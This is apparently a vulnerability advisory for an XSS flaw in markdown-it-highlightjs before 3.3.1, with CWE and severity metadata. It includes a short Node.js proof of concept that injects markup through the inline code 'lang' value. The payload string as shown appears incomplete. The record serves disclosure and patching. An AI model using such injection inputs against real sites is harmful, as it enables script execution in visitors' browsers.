This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it');
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}');
console.log(reuslt_xss);
{ "nvd_published_at": "2020-11-16T12:15:00Z", "cwe_ids": [ "CWE-79" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-04-15T21:12:47Z" }